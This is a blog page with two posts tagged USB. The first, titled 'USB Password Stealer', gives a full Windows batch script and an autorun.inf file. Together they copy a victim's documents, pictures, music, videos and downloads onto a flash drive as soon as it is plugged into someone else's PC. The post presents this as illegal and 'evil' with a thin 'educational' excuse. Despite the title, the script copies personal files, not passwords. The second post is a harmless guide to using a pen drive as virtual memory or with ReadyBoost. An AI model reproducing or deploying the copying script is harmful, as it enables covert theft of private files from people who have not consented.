Showing posts with label USB. Show all posts
Showing posts with label USB. Show all posts

USB Password Stealer

In today's article I am going to teach you something illegal but only for educational propose. This only demonstrates how you can copy files from your friend's PC as soon as you plug in your flash drive or any removable storage media.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we'll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR

:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit


:ERROR
exit


What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’'t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user's documents are usually stored in %systemroot%\Documents and Settings folder.

Now I've defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes 0.

Case ERROR will execute when the Documents and Settings doesn't exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let's create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier


The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.



Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).



Another thing is that it determines the windows by searching the file users and Documents and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.


Thank you(zer0w0rm)
READMORE
 

How to use USB Pen drive as RAM to Boost Performance in Windows

USB Pen drive is extensively used by us to store and migrate data. We daily use it as a secondary storage device. But have you ever thought of using it as a RAM…. Confused?? Not many know but Yeah!! You can use your USB Pen drive as RAM to boost up Performance of your Windows PC. Though, it wouldn’t be your primary Random Access Memory (RAM), instead it will perform like a virtual memory processor. It would not only boost up your computer’s performance but also enhance your experience of playing games. Hence, it becomes useful for those who does not have a highly configured system. You just need to make sure that you have at least a USB pen drive of 1 GB or else this trick won’t work. The step-by-step guide of How to use USB Pen drive as RAM to boost performance in Windows is given below.

Steps – How to use USB Pen drive as RAM:

Step 1: Connect your USB to your PC.

Note: Make sure that you have at least USB Pen drive of 1 GB.

Step 2: Now, go to START button, right click on MY COMPUTER and select PROPERTIES. You can also right click on MY COMPUTER icon at your desktop.



Step 3: Click on ADVANCED tab. Select “settings” Option under the “Performance” option.

  

Step 4: A new Window of Performance Option will prompt on your screen Click on Advanced Tab. Then, click on CHANGE option under Virtual Memory bar as shown in the below image.

  
Step 5: Search for your USB Pen drive, select it and choose “Custom size“. Fill the initial and maximum size as per the available space free on your Pen drive as shown in the below image.

NOTE: For Windows 7 and 8, unchecked the box “Automatically Manage Paging files size for all drives” before doing this step.



Step 6: Click on SET and press ENTER.

Step 7: Restart your PC with the Pen drive inserted to your PC.

You are done now, your system performance has been increased.





Alternate Method – Use USB Pen drive as RAM via Ready boost:




Steps to enable Ready Boost to use USB Pen drive as RAM:

Step 1: Open MY COMPUTER and select your USB Pen drive.

Step 2: Now, right click on your USB Pen drive and select PROPERTIES.

Step 3: Go to the tab “Ready Boost“. Check the box ‘Use this device‘. Move the slider to allocate the memory that you want to be used as RAM as shown in the below image.



Step 4: Click on APPLY and then SELECT.

You are done. That’s all you need to do. Your system performance has been increased.

NOTE:

    You won’t be able to store data in your USB Pen drive till you are using it as RAM.
    There can be chances that the settings would not match as exact given in the steps because you may be using another OS. So, opt for the best probable settings.

DISCLAIMER: This article is for education purpose only. Do it at your own RISK.
READMORE